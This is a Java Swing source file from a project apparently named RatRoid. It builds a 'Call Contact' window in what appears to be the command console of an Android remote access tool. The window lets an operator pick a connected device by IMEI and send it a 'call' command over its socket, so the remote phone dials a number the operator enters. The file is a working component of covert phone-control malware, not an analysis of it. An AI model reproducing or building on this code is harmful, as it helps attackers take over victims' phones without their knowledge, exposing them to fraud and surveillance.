/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package GUI;

import Control.Clients;
import Control.ThreadHandle;
import RatRoid.Main;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import javax.swing.JOptionPane;
import javax.swing.SwingWorker;

/**
 *
 * @author Sam
 */
public class Call extends javax.swing.JFrame {
    private PrintWriter out;
    private PrintWriter in1;
    private BufferedReader in;
    private String[] recep1;
    private OutputStream is1;
    private ObjectOutputStream ois1;

    /**
     * Creates new form Call
     */
    public Call(String x) {
        imei=x;
        initComponents();
        this.setIconImage(new javax.swing.ImageIcon(getClass().getResource("/res/logo.png")).getImage());
        this.setVisible(true);
        setLocationRelativeTo(null);
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {
        java.awt.GridBagConstraints gridBagConstraints;

        jLabel1 = new javax.swing.JLabel();
        ButtonCall = new javax.swing.JButton();
        Phone = new javax.swing.JTextField();

        setTitle(imei + " -- Call Contact ");
        setMinimumSize(new java.awt.Dimension(431, 139));
        setResizable(false);
        getContentPane().setLayout(new java.awt.GridBagLayout());

        jLabel1.setText(" Enter Phone Number to call :");
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 0;
        gridBagConstraints.fill = java.awt.GridBagConstraints.BOTH;
        gridBagConstraints.anchor = java.awt.GridBagConstraints.FIRST_LINE_START;
        gridBagConstraints.weighty = 1.0;
        getContentPane().add(jLabel1, gridBagConstraints);

        ButtonCall.setText("Call Number");
        ButtonCall.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                ButtonCallActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 2;
        gridBagConstraints.fill = java.awt.GridBagConstraints.BOTH;
        gridBagConstraints.ipadx = 2;
        gridBagConstraints.ipady = 4;
        gridBagConstraints.weightx = 1.0;
        getContentPane().add(ButtonCall, gridBagConstraints);
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.fill = java.awt.GridBagConstraints.BOTH;
        gridBagConstraints.ipadx = 2;
        gridBagConstraints.ipady = 2;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.insets = new java.awt.Insets(2, 0, 9, 0);
        getContentPane().add(Phone, gridBagConstraints);

        pack();
    }// </editor-fold>//GEN-END:initComponents

    private void ButtonCallActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ButtonCallActionPerformed
               SwingWorker worker = new SwingWorker<Void, Void>() {

   @Override
   protected Void doInBackground() throws Exception {
      callNum(Main.threads);
      return null;
   }
};
        worker.execute();
    }//GEN-LAST:event_ButtonCallActionPerformed

     public void callNum(ThreadHandle thlist) {
            for (final Clients client1 : thlist.getthreads()) {
                if (client1.getthread().getName().equals(imei)) {
           if(client1.available){
                   client1.available=false;
                   client1.doing=" This Client is making a phone Call,please try again in a second ";
           try {
                out = new PrintWriter(client1.getsocket().getOutputStream());
                out.println("call"+imei);
                out.flush();
		in = new BufferedReader(new InputStreamReader(client1.getsocket().getInputStream()));
                String lsnmsg = in.readLine();
                String phonetext=Phone.getText();
                if(phonetext.isEmpty()){phonetext=" ";}
                recep1 = new String[]{phonetext};
                is1 = client1.getsocket().getOutputStream();
                ois1 = new ObjectOutputStream(is1);
                ois1.writeObject(recep1);
                is1.flush();
		ois1.flush();
                client1.available=true;
                JOptionPane.showMessageDialog(this,"Called Successfully !","Call Sent!",JOptionPane.INFORMATION_MESSAGE);
           }
          
           catch (IOException e) {
                JOptionPane.showMessageDialog(this,"Call Error, please try again !","Warning !",JOptionPane.WARNING_MESSAGE);
                this.dispose();
                client1.available=true;
            }
                
           }
           else {
               Thread msgThread = new Thread(new Runnable() {
                           @Override
				public void run() {
                               JOptionPane.showMessageDialog(null,client1.doing , "Client " +client1.getthread().getName()+" is busy!", JOptionPane.INFORMATION_MESSAGE);
                                }});
                       msgThread.start();
           }
            }
                 } 
     }
private String imei;
    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton ButtonCall;
    private javax.swing.JTextField Phone;
    private javax.swing.JLabel jLabel1;
    // End of variables declaration//GEN-END:variables
}
